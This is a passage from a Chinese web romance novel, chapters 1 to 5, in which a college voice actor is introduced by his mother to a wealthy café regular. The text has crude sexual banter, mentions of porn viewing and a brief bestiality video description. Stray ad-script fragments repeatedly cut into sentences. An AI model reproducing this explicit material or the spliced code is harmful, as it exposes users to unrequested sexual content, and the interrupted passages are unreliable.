《老公你说句话呀!》 1. 另类01 另类迷恋 晋江/虚度白昼 2024-10-05 - “小禾,你刚才这几声叫得也忒假了,一听就是演的。这个受的人设是妖艳贱货,浪得没边,你应该——卧槽,你该不会还是个处男吧?” 萧婧婷在录音棚外大放虎狼之词,祝星禾在录音棚里小脸通红,不敢吱声。 “暴殄天物啊,像你这样水灵灵的小美人,就该配享花市受的待遇,和各式各样的帅哥为爱鼓掌,全年无休,周末加倍,你怎么能是个雏儿呢?!” 祝星禾心里委屈,他也不想母胎Solo二十年啊。 可他就是那种在耽美文里会被万千读者吐槽“把受换成女生也毫无违和感”、在交友软件里还没来得及和心动男生打招呼就会被对方简介里的“娘炮勿扰”四个大字直接劝退的类型——不管是在二次元还是三次元,他的“人设”都不讨喜,实在是巧妇难为无米之炊啊。 但江山易改本性难移,谁让他打小儿就是这种“娘们唧唧”的性格呢,他喜欢化妆,喜欢穿漂亮裙子,喜欢和女孩子一起玩儿……他丝毫不觉得自己这样有什么不好,别人怎么看他那是别人的事,他不Care。 至于甜甜的爱情什么时候才能轮到他,就随缘吧,正如他妈妈祝佳音女士万年不变的微信签名所说:你若盛开,蝴蝶自来。 又录了几条,萧婧婷还是觉得祝星禾的表现不够Real,索性不录了,带着几个社员去录音室附近的一家苍蝇馆子吃晚饭,照例由萧婧婷请客。 萧婧婷是西城音乐学院【夜间飞行广播剧社】的社长兼导演兼编剧,而祝星禾负责配音,用行话来说就是“CV”。 大一刚开学没多久,祝星禾在食堂打饭时被萧婧婷发掘,萧婧婷说他是“天选受音”,不由分说地把他拉进了刚成立没多久的广播剧社。 起初祝星禾以为这只是个普普通通的大学社团而已,其他社员也是这么想的,但他们很快就被萧婧婷的一系列操作惊呆了——她花几十万买下喜欢的小说的广播剧版权,每周邀请圈内知名CV老师来学校给他们这些生瓜蛋子上课,以每小时四五百的价格租赁录音棚进行录音……她用钞能力让这个草台班子慢慢变好变强,功夫不负有心人,他们去年完成的那部校园纯爱广播剧上线后获得五百多万播放量,大赚了一笔,可谓一鸣惊人。 趁热打铁,萧婧婷火速买下另一部小说的版权,趁着放暑假投入新剧的制作,祝星禾这回还是主役,整个暑假都忙忙碌碌,还没毕业就当起了社畜。 再过几天就开学了,社员们嚷嚷着要放假,萧婧婷也觉得压榨了大家一个暑假怪不好意思的,爽快地答应了。 大家兴高采烈地商量去哪儿玩,萧婧婷和祝星禾勾肩搭背,交头接耳:“小禾,我只能给你半个月时间,半个月内你必须破处,不然那些吻戏、床戏你肯定配不好。你跟姐姐说,你喜欢什么样的男生,就算是金城武、吴彦祖那种级别的姐也能给你找来。” 祝星禾红着脸说:“我也说不清……” 萧婧婷拿起手机,点开微信,在好友列表里翻找片刻,然后把一张照片怼到祝星禾眼前,小声说:“这个怎么样?隔壁体院的校草,篮球运动员,盘靓条顺,你瞧瞧这饱满的胸肌、沟壑分明的腹肌和大长腿,有没有感受到扑面而来的性-张-力?” 祝星禾扫了眼照片里只穿了一条短裤的裸男,心里没有泛起一点波澜,弱弱地说:“我不喜欢体育生,也不喜欢过分强壮的肌肉男。” 他最好的朋友纪松沉就是资深体育生,也在隔壁体院就读,是一名冉冉升起的泳坛新星。 纪松沉不止一次跟他说过,体育生没几个好玩意儿,推上那些网黄十个有八个都是体育生,不管是同性恋还是异性恋都玩得很脏,不是他这种纯情小白花消受得起的,绝对不能沾。 他认为纪松沉这话多少有些夸大其词,每个人都是单一独立的个体,不能一概而论,可是禁不住纪松沉一而再再而三地耳提面命,他还是不可避免地对“体育生”形成了负面印象,从不招惹。 “体育生可是Gay圈的香饽饽,你竟然不喜欢。”萧婧婷尊重他的取向,也没多问,继续在手机里翻找,“欸,你看这个怎么样?是个男模,不是夜店里那种,而是正经男模,颜值和身材都很顶,有兴趣没有?” 祝星禾率先注意到的却是男人噙在唇间的香烟,他微不可察地蹙了蹙眉,诚实地说:“我不喜欢抽烟的男生,这对我来说是个不能容忍的缺点,我闻到烟味会犯恶心,真的闻不了一点。” “单是不抽烟就把全球1/2的男人Pass掉了,但是没关系,男人多的是。”萧婧婷放下手机,“算了,等我精挑细选一番,再给你推荐。” 祝星禾摆手拒绝:“不用麻烦了,我自己会看着办的。” 萧婧婷笑眯眯地看着他:“听你这意思,是有目标了?” “没有,”祝星禾赧然,“就是我妈说她认识一个男的,人挺好的,想让我认识认识。” “哈?”萧婧婷瞳孔地震,“阿姨这么开明的吗?” “她说学生时代的爱情是最简单纯粹的,她那时候错过了,后来经常觉得遗憾,她不希望我也留下遗憾。” “你妈妈可真好,我都有点嫉妒你了。” “嗯,”祝星禾笑着点点头,“她是这个世界上最好的妈妈。” 和别人聊了会儿,萧婧婷又凑过来:“其实学生时代的爱情也没那么纯粹。” “?” “我高中的时候交过两个学霸男友,并不是因为我有多喜欢他们,而是为了抄他们的作业。” “……”祝星禾竖起拇指,“不愧是你。” 吃饱喝足,各回各家。 祝星禾骑着小摩托来的,依旧骑着小摩托回去。 这个夏天似乎格外漫长,三伏天已经过去,但余热尚在,夜风裹挟着黏腻的热意,吹拂着他半长的头发。 头戴式耳机隔绝了喧嚣,喜欢的音乐让心情变好。遇到红灯时,他从背包里掏出GoPro,固定在车把上,将这片刻的欢愉用视频记录下来,留作Vlog素材——他的抖音账号有五十几万粉丝,勉强算是个小网红,但他并不靠这个赚钱,只是为了记录生活。 不过两三首歌的时间,就抵达了目的地。 将小摩托停在路边,收起GoPro,把耳机取下来挂在脖子上,祝星禾迈着轻快的步伐,走进了一间名叫“ROOM”的书吧。 这间书吧是他妈妈祝佳音女士开的,店名取自著名作家弗吉尼亚·伍尔夫的作品《 A Room of One''s Own》。 祝女士是个文艺女青年,年轻时最大的梦想就是拥有一家属于自己的书店,然而等到她有能力开店的时候,书店大势已去,于是她顺应时代潮流,开了这间集书店和咖啡馆于一体的书吧,经营得还不错,这几年一直保持着盈利状态。 轻柔的古典乐和暖色的灯光营造出温柔美好的氛围,几桌客人都很安静,就算交谈也都轻声细语。 祝星禾走到吧台前,低声问:“橙姐,我妈呢?” 这会儿不忙,黄乐橙正坐在吧台里面发呆,她朝办公室的方向抬了抬下巴:“在里面算账呢。” 祝星禾从背包侧袋里抽出保温杯,让黄乐橙帮他加满热水。杯子里泡的是胖大海和罗汉果,对嗓子有好处,他每天都在喝,可乐、咖啡之类的冷饮他很少碰。 “刚才进门的时候我看见门上贴着招聘启事,”祝星禾趁机闲聊,“怎么突然要招人?” “洛洛家里有人生病了,她要陪护,原本打算辞职的,你妈没同意,不仅给她预支了两个月工资,还给她放了长假,等她忙完家里的事再返岗。”黄乐橙把保温杯还给祝星禾,“我一个人哪儿忙得过来,所以 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 得招个临时工顶替洛洛的位置。” “开学前这几天我刚好没事,”祝星禾说,“明天我来店里帮忙。” “那可太好了。”黄乐橙眉开眼笑,“只要你在,店里的生意就会变好。” 因为祝星禾颜值高,穿男装时是从漫画里走出来的美少年,穿女装时是清纯可爱的美少女,既斩男又斩女,对提升营业额大有帮助。 办公室紧邻着吧台,小小的一间,跟鸽子笼差不多。 门半开着,祝佳音坐在桌前,聚精会神地盯着电脑屏幕,祝星禾走到跟前了她才发现,急忙移动鼠标,把正在浏览的网页关掉了。 “你看什么呢?”祝星禾话音轻悄,“该不会是什么少儿不宜的东西吧?” “没大没小,”祝佳音伸手拍他一下,“连你妈都敢打趣。” “你刚才慌乱的样子特别像个正躲在房间里做坏事却被开门进来的妈妈撞个正着的高中生。”祝星禾取下背包放在椅子上,“好心提醒,记得把浏览记录删一删,要是让橙姐她们看见就不好了。” 祝佳音嗔笑:“再胡说八道我揍你。” 祝星禾走到妈妈身后,边给她捏肩边问:“今天忙不忙?” “还行,经常光顾的客人基本都是CBD的上班族,所以周末要比平常日清闲一点。”祝佳音懒洋洋地说,“你呢,录音顺不顺利?” “不太顺利。”祝星禾愁眉苦脸,“上部剧的主角是个平凡的高中生,我几乎是本色出演,可这部剧的主角……比较特别,录起来就没那么容易。” 祝佳音说:“越难做的事越值得去做,只有克服困难你才能取得进步。” 祝星禾笑着说:“是是是,你说得都对。” 又扯了几句闲篇儿,祝星禾状似随意地提起:“妈,前阵子你不是说要介绍个大帅哥给我认识么,你把他微信给我吧,我可以试着跟他聊聊。” 祝佳音扭头瞟他一眼:“你不是说相亲是三十岁以上的人才会去做的事吗,怎么又改主意了?” “是我狭隘了,不该有这种刻板的想法。”祝星禾从善如流,溜须拍马,“祝女士慧眼如炬,那个人能被你看中,必定有过人之处,我要是白白错过了,那多可惜呀。” “小李确实是出类拔萃,要长相有长相,要身材有身材,就算跟你喜欢的那个男明星比都毫不逊色。”祝佳音赞不绝口,“最关键是人品好,乐于助人,那天要不是他好心提醒,我就被电信诈骗了,现在想想都后怕。” 这件事祝星禾听她说过,当时她在店里接到一通诈骗电话,对方以某件快递丢失需要进行理赔为由,逐步诱导,到最后一步要向对方提供银行代码时,那位李先生过来制止了她,只差一点点,她卡里的几十万就要落入骗子的口袋,有去无回。 “小李是常客,你在店里帮忙的时候应该见过他。”祝佳音接着说,“你对他肯定有印象,他不是那种能被随便忘记的人。” 这里紧挨着纸醉金迷的CBD,光鲜靓丽的都市男女遍地都是,见得多了也就麻木了,祝星禾还真没对哪个客人有过特别深刻的印象,都是过眼云烟。 “你有他照片吗?”祝星禾问。 祝佳音拿起手机,点开微信,摸进小李的朋友圈,却被“仅三天可见”拒之门外。 “没照片,”祝佳音说,“不过我敢保证,他的长相绝对不会让你失望。” “那可不一定,”祝星禾故意抬杠,“毕竟一代人有一代人的审美。” “一定得很,”祝佳音言之凿凿,“我敢拿人格担保。” “那倒也不必。”祝星禾哭笑不得,“你把他微信发给我吧,我倒要亲眼看看,这个人到底有没有你夸得这么好。对了,他全名叫什么?” “李如深,”祝佳音说,“如果的如,深浅的深。” “李、如、深,”祝星禾一字一顿地重复一遍,“名字还蛮好听。” 2. 另类02 另类02 在店里待到九点多,祝星禾骑着他的小摩托,载着祝佳音回家。 在情感上,祝星禾早就把现在住的房子当作了他和妈妈的家,但事实上,那座房子并不属于他们,他们只是寄居在那里。 初二那年,爸妈离婚,离婚手续办完的第二天,妈妈带着他去了派出所,把他的名字从“庄重”改成了“祝星禾”,而后带着他背井离乡,来到遥远而陌生的西城,重启人生——妈妈之所以有勇气这么做,是因为她最好的朋友,纪灵慧。 纪灵慧是个奉行不婚主义的女强人,在西城法律界辛苦打拼了十几年,事业有成,有车有房,还有一个儿子,就是纪松沉。这个儿子是她年轻时意外怀上的,果断去父留子,自己生自己养,谁都不靠——只要有足够多的钱,其实大部分困难都可以迎刃而解。 他和妈妈住进了纪家,两对母子组成了一个四口之家,搭伙过起了日子。原本打算度过最艰难的那段时期就搬出去的,谁成想这一住就是六年,他们早就成了密不可分的一家人,两个妈妈宛如一对夫妻,两个孩子则是异父异母的亲兄弟。 到了家门口,祝佳音先下车去开门,祝星禾把小摩托骑进院子里,停在那棵枝繁叶茂的月桂树底下。 虽然花期已过,但月桂树的叶子是香叶,再加上别的花花草草,院子里一年四季都弥漫着怡人的清香,对祝星禾来说这就是家的味道。 在玄关换鞋时,祝佳音说:“你干妈还没回来,你上楼问问松沉,要不要吃宵夜。” 祝星禾上了楼,推开纪松沉的房门,冷气和聒噪的游戏音效扑面而来,他最好的朋友裸着上身坐在电脑桌前,一手鼠标一手键盘,激战正酣。 祝星禾扶着门问:“你干妈问你吃不吃宵夜。” “不吃不吃,”纪松沉头也不回,“我这正忙着呢。” 祝星禾走到楼梯口告诉祝佳音一声,就回房间去了。 洗完澡,换上睡衣,祝星禾再次来到纪松沉的房间,拿起丢在床上的运动背心套到纪松沉头上:“空调开这么低,还光着膀子,你不嫌冷吗?” “你又不是不知道,我怕热不怕冷。”纪松沉腾出手,迅速把背心穿好,继续在游戏里打打杀杀,“马上九月了,怎么还这么热,真是见了鬼了。” “专家说了,因为全球变暖,以后夏天会越来越长、越来越热,”祝星禾坐在床边,拿起空调遥控器,把温度从18调到24,“所以国家才会倡导节能减排,保护环境。” “专家?”纪松沉嗤之以鼻,“最擅长扯淡的就是那些狗屁专家,他们最大的作用就是给网友们制造笑料。” 祝星禾懒得跟他争辩,扫一眼正在充电的手机,说:“你手机借我用用。” “干嘛?” “翻墙看点东西。” “叫声哥就给你用。” “幼稚。”祝星禾拔掉充电器,拿起手机就走,顺便撸了一把纪松沉的脑袋。 “你完了!”纪松沉炸毛,“看我待会儿怎么蹂躪你!” 祝星禾没回房间,而是去了和客厅相连的露台。 露台两侧的花架上摆满了祝佳音精心养护的花草,靠近栏杆放置着一套法式桌椅,栏杆上缠绕着从花墙蔓延过来的风车茉莉,平时坐在这儿赏赏花喝喝茶,很是惬意。 祝星禾熟练地输入密码,解锁手机,一番操作后点开了那个“X”图标的软件,踟蹰须臾,在搜索框里输入“体育生”,搜出来的基本都是不可描述的内容。 接连点开几个小视频,每个视频里都能听到“骚-逼”、“贱-货”之类的侮-辱-性词汇以及“叫爸爸”的无理要求,祝星禾感觉自己受到了精神污染,急忙退出了软件。 这短短的两分钟他需要一生来治愈,纪松沉说得没错,这些“体育生”果然玩得很脏——如果男生和男生都是这么做愛的,那他宁愿做一辈子处男。 但他也知道,不能通过小-黄-片学习性-知-识,这是常识。拍视频肯定会有夸张和表演的成分,那些霪-词秽-语应该就是所谓的“Dirty Talk”,虽然他接受无能,但他尊重别人的性-癖。 既然不能从网上吸取到有帮助的经验,那就只能身体力行了,毕竟实践出真知嘛。 祝星禾把纪松沉的手机放远点儿,仿佛那是什么脏东西,然后从短裤口袋里掏出自己的手机,点开微信后才想起看时间。 22:28,似乎有点晚了,如果他今晚还想睡个好觉的话,这个好友申请还是不发为好。 但他还是点开了祝女士发过来的名片,试图从对方的昵称和头像发现点蛛丝马迹——昵称是“Lee”,显然是他的姓氏;头像是一张照片,但只有半截背影,照片里的人面朝着蔚蓝大海,海风吹乱了他的头发,吹鼓了他的蓝色外套,有种自由的感觉。 盯着这张照片看了半晌,祝星禾得出一个结论——他的头 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 发可真浓密啊。 …… 早上八点,祝星禾被闹钟叫醒,他发现自己梦-遗了,花十分钟冲了个澡,下楼吃早餐。 纪灵慧工作繁忙,早出晚归,即使住在一个家里祝星禾也不常见到她,而纪松沉喜欢熬夜,晚上不睡早上不起,所以早餐时间通常都是祝星禾和祝佳音共度的,今天也不例外。 “昨晚跟小李聊得怎么样?”祝佳音一看见他就问。 “没聊呢,”祝星禾坐下,“我还没加他的微信。” “你磨蹭什么呢?”祝佳音说,“今天是周日,正好可以约他出来见个面,你要不好意思说我帮你说。” “你怎么比我还着急?”祝星禾哑然失笑,“老话说得好,心急吃不了热豆腐。” “我这不是怕你被人截胡么。”祝佳音把一杯鲜榨豆浆放到他面前,“等你见到真人就知道小李有多出挑了,喜欢他的人肯定乌泱乌泱的。” “那他怎么还单身呢?”祝星禾好奇。 “可能工作太忙了,没时间谈恋爱,”祝佳音没问过,只能瞎猜,“也可能太挑剔,宁缺毋滥。” 祝星禾突然打起了退堂鼓。 祝佳音很少如此赞赏一个人,可见这个叫李如深的男人深得她心,否则她也不可能把这个男人介绍给他认识。 可是,他配吗?一个方方面面都很优秀的男人,眼光必然很高,应该看不上一个“不男不女、不伦不类”的娘娘腔吧?——这不是自卑,而是他早就认清现实、放弃幻想,他这种类型属于“大众雷点”,所以很多人才会在交友软件里标注“娘炮勿扰”,就是为了“避雷”。 退堂鼓一打就是一天,直到吃过晚饭祝星禾才鼓起勇气。 不试一试怎么知道行不行呢,就算对方看不上他又有什么关系,也不会掉块肉,说不定他还看不上对方呢,他的眼光也是很高的。 祝星禾坐在小小的办公室里,捧着手机写写删删,耗时五分钟,终于把好友申请发了出去:[李先生,你好,我叫祝星禾,是ROOM书吧祝女士的儿子,很高兴认识你 ^_^] 没过一会儿,那个蓝色头像就出现在他的聊天列表里,点开对话框,显示对方正在输入。 然而等了两分钟都没动静,祝星禾正打算主动搭话,对方终于发来一句:[你好,我是李如深。] 祝星禾还没想好怎么回复,又弹出一条:[我就在ROOM附近,要见面吗?] 3. 另类03 另类03 祝星禾犹豫了五分钟,答应和李如深见面。 他去卫生间洗了把脸,打算补个淡妆,想了想又作罢——他遗传了祝佳音的美貌,美而自知,对自己的颜值颇有信心。他该用素颜去赴约,好让对方看见他最真实的面貌。 从卫生间出来,意外撞见了纪松沉和他的女朋友常舒,祝星禾惊喜:“舒舒,你们怎么来了?” “我们刚在附近吃完饭,听松沉说你在店里,就过来看看你。”常舒笑着说,“你可真是个大忙人,整个暑假都没怎么见过你,还怪想你的。” “你想他干嘛,”纪松沉佯装不满,“有我陪你还不够吗?” “你陪我?呵呵。”常舒用一根食指戳戳他的胸口,“请问你的良心不会痛吗?” 纪松沉刚结束暑期集训回来,这几天又沉迷游戏,确实很少陪她,心虚地转移话题:“苗儿,我们要去看电影,你要不忙的话就一起去吧,给你哥哥送点票房。” 小禾、小禾苗、苗苗、苗儿都是祝星禾的昵称,而纪松沉口中的“哥哥”,指的是祝星禾喜欢的男演员阮郁。 阮郁的新电影《天鹅梦》在暑期档上映,首映那天祝星禾就请身边的亲朋好友看过了,之后他还抽空二刷了一遍。 “你们去吧,”祝星禾说,“我有约了。” “约谁了?”纪松沉问。 “说了你也不认识。”祝星禾敷衍,“对了,取完票拍张照片发给我,我给你报销。” 等他背着Jellycat雨蛙包包从办公室出来,纪松沉和常舒正在吧台前等咖啡,祝星禾走过去,对祝佳音说:“妈,我出去了。” 祝佳音也没多问,只是叮嘱一句:“别太晚回家。” 祝星禾出门后,纪松沉趴在吧台上问:“干妈,小禾该不会谈恋爱了吧?神秘兮兮的。” “没谈呢,”祝佳音笑容暧昧,“不过也快了。” “什么意思?” “我给他介绍了个人,他现在就是去见面的。” “啊?”纪松沉吃了一惊,“这……这不就是相亲吗?” “相亲怎么了?现在很火的那些恋爱综艺本质上都是相亲。”祝佳音平时很少追剧,却很喜欢看综艺,尤其喜欢旅行综艺和恋爱综艺,前者可以让她坐在家里看世界,后者可以激发她这个老阿姨的少女心,“自由恋爱也就是从七八十年代才开始的,在那之前,男婚女嫁基本都是通过相亲。” 纪松沉小声蛐蛐:“可是现在都4202年了……” “你说什么?” “没什么,”纪松沉一手拿着咖啡,一手牵着女朋友,“我们看电影去了。” …… 见面的地方是祝星禾选的,是离CBD没多远的滨江公园,公园里有一条五公里左右的沿江步道,他陪妈妈来遛过弯,也和纪松沉来露过营。 与其在灯光明亮的咖啡馆里面对面坐着尬聊,他觉得在幽暗的公园里散散步会更自在,当目光无处安放时还可以假装看风景——对一个社恐的I人来说,相亲实在是个巨大的挑战。 把小摩托停好,取下头盔,对着后视镜理了理头发,祝星禾从包包里掏出手机,看到纪松沉十分钟前发来一条微信:[你真是饿了,竟然背着我去相亲!] 祝星禾懒得理他,给李如深发微信:[我到了。] 李如深很快回复:[堵车,稍等五分钟。] 可能是紧张的缘故,祝星禾忽然觉得口干舌燥,于是去公园门口的小卖部买了两瓶水,扫码付款时,萧婧婷发了一串微信过来。 萧婧婷:[虽然你说不需要,但我还是精挑细选了几个基圈天菜,你把他们当备胎就行。] 萧婧婷:[小禾苗破处计划.ppt] 萧婧婷:[强推三号,刚满十八的纯情男高,“钻石是世界上第二硬的东西,第一硬的是男高中生的几把”这句名言你不会没听说过吧?/坏笑] 萧婧婷:[对了,我问过了,他们都不抽烟。] 萧婧婷:[婷姐严选,值得信赖/666] 祝星禾点开PPT看了看,有些哭笑不得。 祝星禾:[有你是我的福气/捂脸] 祝星禾:[你从哪儿认识这么多帅哥?] 萧婧婷:[我有个Gay蜜是网红,他只和帅哥交朋友。] 萧婧婷:[你跟他还一起吃过饭呢。] 祝星禾:[李小狼?] 萧婧婷:[对,就是他,他还想泡你,被我摁 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 住了,他太骚了,配不上你。] 祝星禾对此毫不知情,他对这个仅有一面之缘的“李小狼”之所以有印象,是因为他们是微博互关,经常能在首页刷到,虽然他对他发的内容不感兴趣,却碍于他是萧婧婷的朋友没好意思取关。 “祝星禾?” 一道富有磁性的低沉男声倏然入耳,祝星禾抬起眼帘,看见了站在咫尺之外的男人,一时有些怔怔。 男人很高,目测接近一米九,人太高就会显得笨重,但他挺拔却不健壮,甚至有些竹清松瘦的神采;他穿着剪裁得体的黑衬衫和黑西裤,轻薄的衣料包裹着宽肩、窄腰、长腿,头身比和腿身比肉眼可见的优越;他的皮肤很白,五官深邃而立体,有一点混血感,因为面无表情而显得冷峻疏离。 宛如偶像剧男主走进现实,祝星禾猝然生出强烈的不真实感,周遭的一切都变得虚幻,只有眼前的男人是清晰可见的——难怪祝女士对这个男人赞不绝口,他确实有一副惊心夺目的好皮囊,哪怕他是个没有任何优良品质的人渣,也会有无数人喜欢——祝星禾突然后悔没有化妆,衣服也穿得太随意,他几乎有点自惭形秽了。 “抱歉,我来晚了。”李如深直视着祝星禾,沉静如海的目光下隐藏着汹涌的暗流。 祝星禾回过神来,仓促地挤出笑脸:“没关系,我也才刚到几分钟。”他把刚买的水递过去,“不知道你喜欢喝什么,就买了瓶矿泉水。” 李如深伸手去接,祝星禾的目光先是落在他修长的五指上,紧接着又被他的腕表吸引——积家今年推出的新款,DUOMETRE系列,官网售价是三十四万——这是纪松沉的梦中情表,祝星禾曾想买给他当作生日礼物,却被价格吓退。 就算没看到这块昂贵的手表,祝星禾也感觉得到,李如深必定出身不凡,他身上那种矜贵的气质实在突出得令人难以忽视。 祝星禾心生狐疑,这个年轻、英俊又多金的男人,究竟为什么要浪费时间来和他相亲?他的优点对这个男人来说不值一提,缺点却是显而易见。 难道……难道他有什么特殊的癖好? 这个蓦然冒出来的无端揣测让祝星禾有些惶恐,同时还有一点隐秘的期待,虽然他也说不清自己在惶恐和期待什么。 4. 另类04 另类04 公园是免费开放的,不用买票,进去后穿过一小段林荫道,就到了江边,宽阔的江面上有游轮往来,对岸是鳞次栉比的高楼大厦,璀璨的霓虹映得江水流光溢彩。 两个人并肩走在人行道上,中间隔着一米左右的社交距离,祝星禾可以闻到李如深身上的香水味,是淡雅的松木香。 祝星禾偷觑他一眼,旋即转头看向江面,心里嘀咕:他怎么不说话?难道他也是个I人? “听我妈说你是ROOM的常客,那你之前应该见过我吧?我偶尔会去店里帮忙。”祝星禾率先开口,他的嗓音还停留在变声之前的状态,是清澈柔嫩的少年音,用萧婧婷的话说就是“天选受音”,而且还是弱受。 “见过。”李如深惜字如金。 “穿女装的样子也见过吗?”祝星禾偏头看他,视线稍稍上扬,因为李如深比他高了一头,这个身高差刚刚好。 “见过。”仿佛感应到了祝星禾的目光,李如深扭脸看过来,祝星禾慌忙躲开了。 沉默几秒,祝星禾问:“你不介意吗?” 李如深反问:“介意什么?” “很多人都不喜欢我这种类型,嫌我太娘了,没有男子气概。”祝星禾想起去年的一段经历,“之前我见过一个网友,他说同性恋喜欢的是男人,男人就该有男人的样子,喜欢像我这样的娘炮还不如直接去喜欢女人。” “你认为他说得对吗?”李如深看着他问。 “当然不对,这是赤-裸-裸的性别歧视和刻板印象,他的性别观好像还停留在十年前,很老土。”祝星禾心平气和地说,“谁都无权规定某个人应该是哪种样子,除了那个人自己——我现在的样子就是我想成为的样子,我从不认为‘娘’是一个贬义词,我很喜欢我身上那些女性化的特质,并且为此感到骄傲。而且,为了让我能够做自己,我妈妈经历了很多的艰难困苦,所以我绝对不会为了迎合别人而改变自己。其实我反而有些害怕那些阳刚之气过剩的男人,比如……” 话音戛然而止,李如深猜他应该是想到了某个具体的人,这个人或许对他造成了一些伤害,不能轻易提起。 李如深体贴地没有追问,而是回答了他之前的问题:“如果我不喜欢你穿女装的样子,今天就不会出现在这里。” 祝星禾心头一跳,他很想看看李如深此刻的表情,却又不好意思对视,他能感觉到李如深一直在看他。 双重否定表肯定,李如深刚才那句话的意思是:我喜欢你穿女装的样子,所以我今天才会来见你。 难道真的被他猜对了,他戳中了李如深的性-癖? 他蓦然想起几年前很火的一部叫《五十度灰》的电影,男主角和李如深一样,是个英俊多金的霸道总裁,却有个见不得光的性-癖——B-D-S-M,绑-缚与调-教,支-配与臣-服,施-虐与受-虐。 这部电影的大火让小众性-癖广为人知,然而人类的性-癖千奇百怪,最让他大跌眼镜的是纪松沉曾经发给他的一段小视频,一条蟒蛇缠在一个皮肤很白、身材很好的男人身上,男人的丁-丁在蟒蛇的泄殖腔里抽揷……因为过于惊悚而印象深刻,他甚至记得那条蛇的花纹是黄褐色的。 和那些可怕的性-癖相比,喜欢伪娘似乎也不算太奇怪,可要是李如深想从他身上得到的不止如此呢? 这一番胡思乱想让祝星禾的心情变得复杂起来。 他感到一种未知的恐惧,以及即将展开一段冒险的兴奋,他的心跳有些紊乱,脸有些发烫,幸好有夜色为他遮掩。 “小心。” 祝星禾还没来得及做出反应,手腕已经被抓住了,李如深将他拽向自己,祝星禾踉跄了下,一只手按在了李如深的胸膛上,这才没有撞进他怀里。 一个小男孩踩着滑板从祝星禾身边冲了过去,虽然没有撞到他,男孩的妈妈还是向他道了歉,祝星禾表示没关系,男孩的妈妈便去追赶她的孩子了。 祝星禾后知后觉地把那只按在李如深胸口的手放下去,掌心沾染着李如深的体温,五指不自觉地收拢,似乎想将那一点余温留住。 “谢谢。” “没事。”< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' /p> 祝星禾想要拉开距离,但抓着他手腕的那只手却没有松开,而是顺其自然地握住了他的手,李如深就这样牵着他,若无其事地继续往前走,仿佛那些来来往往的行人都不存在。 祝星禾:“……” 从他们见面到现在还不到五分钟,怎么就牵上手了?李如深是这么没有边界感的人吗? 虽然有点无措,还有点尴尬,可他并不觉得讨厌,也没有试着把手抽出来,只是不动声色地雀跃着,一颗心跳得乱七八糟。 难道……这就是“心动”的感觉吗? 不,哪有那么容易心动,他只是太紧张了,一定是这样。 “你对我有印象吗?”换李如深提问了。 祝星禾匆匆瞥他一眼,委婉地说:“好像有点儿。” 他不是脸盲,只是他周围长得好看的人实在太多了,再加上他追的星也是娱乐圈公认的大帅哥,他的眼睛见惯了各种俊男美女,所以对美貌没那么敏感。 诚如祝女士所说,李如深帅气逼人,只要见过就很难忘,但好看的人总是相似的,他确实对李如深有种似曾相识的感觉,脑海中却搜寻不到鲜明而具体的记忆。 李如深没回应,连一声礼貌性的“嗯”或“喔”都没有。 祝星禾顿时有点忐忑,李如深会不会因为自己没记住他而感到失落? 额……这么想是不是太自作多情了? 祝星禾尽力找补:“你应该都是工作日去ROOM吧?我平时要在学校上课,只有周末和节假日才会去ROOM帮忙,而且也不是每个周末都去,所以我们应该没见过几次。” 这回李如深“嗯”了一声,又不说话了。 祝星禾确定了,李如深也是I人,甚至比他更I。 默默地走了一会儿,看见路边有个长椅空着,祝星禾如见救星,忙说:“我们坐会儿吧。” 落座时,李如深顺势松开了祝星禾的手。 趁祝星禾在喝水,他把手伸进裤兜里,悄悄调整某根东西的位置——只是和祝星禾牵了牵手,他竟然就硬了。 5. 另类05 另类05 江风拂面,带来阵阵清凉,却吹不散尴尬的氛围。 尴尬令人焦灼,焦灼使人口渴,祝星禾拧开瓶盖,喝了几口乌龙茶,转头一看,李如深也在喝水,凸起的喉结随着吞咽的动作上下移动,“性感”二字在此刻具象化,硬控了祝星禾几秒钟。 他不敢多看,眼波流转,望向对岸的霓虹,某座高楼的户外大屏上显示着两个姓名缩写,中间还有一颗红色的爱心,不是在表白就是在求婚。 目光不由自主地再次飘向身旁的男人,视线相撞后又立刻看向别处,祝星禾觉得自己偷感很重,仿佛他不是来相亲而是来偷情的。 “你——” “你——” 两个人几乎同时开口,祝星禾终于光明正大地看过去:“你先说。” 李如深谦让:“你先说吧。” 祝星禾抛出一个很流行也很好聊的话题:“你的MBTI是什么?” 李如深说:“我不喜欢往自己身上贴标签,所以没测过。” 祝星禾:“……” 好吧,又聊死了。 但不喜欢贴标签这一点,他举双手双脚赞同。 现在的网友实在太喜欢贴标签了,I人、E人、浓人、淡人、社恐、社牛、攻控、受控、爱男、爱女、直男微双、直女微拉、娇妻、舔狗、恋爱脑、纯爱战士……这些标签将形-形色-色的男女分门别类,有些标签是温和无害的,有些标签却带着很强的攻击性和杀伤力,动不动就能在社交平台上掀起一场骂战,因此网上总是硝烟弥漫,血雨腥风。 祝星禾身上也被自己和别人贴了很多标签,作为一个顺应潮流的普通人,他很佩服李如深能够特立独行。 李如深意识到自己成了话题终结者,急忙找补:“不过看得多了也略知一二,我应该是所谓的‘I人’。” “看出来了,”祝星禾笑了笑,“你I得很明显。” “我猜你是E人。”李如深语气笃定。 “不对,”祝星禾说,“我是INFP。” 李如深点了点头,没再继续这个他未曾深入了解的话题,免得露怯。 与其这么不尴不尬地坐着,还不如接着往前走呢,祝星禾刚想开口,一声近在耳畔的猫叫吸引了他的注意,扭头就看见一只小三花,蹲在长椅旁眼巴巴地看着他。 祝星禾即刻变成夹子音:“小猫咪,你好呀~” 小家伙胆子大得很,直接跳上长椅,用身体蹭了蹭祝星禾的腿,蹭得他心痒难耐:“你好漂亮,我可以摸摸你吗?” 小猫嗲嗲地“喵”了一声,随即跳到了祝星禾腿上,两只后爪踩在他裸-露的皮肤上,有种温-软的触感。 这么亲人的流浪猫可遇不可求,祝星禾想要记录这美好一刻,一只手轻轻抚摸着小猫的身体,另一只手从包包里掏出手机,递给李如深,小声拜托:“麻烦你帮我拍照。” 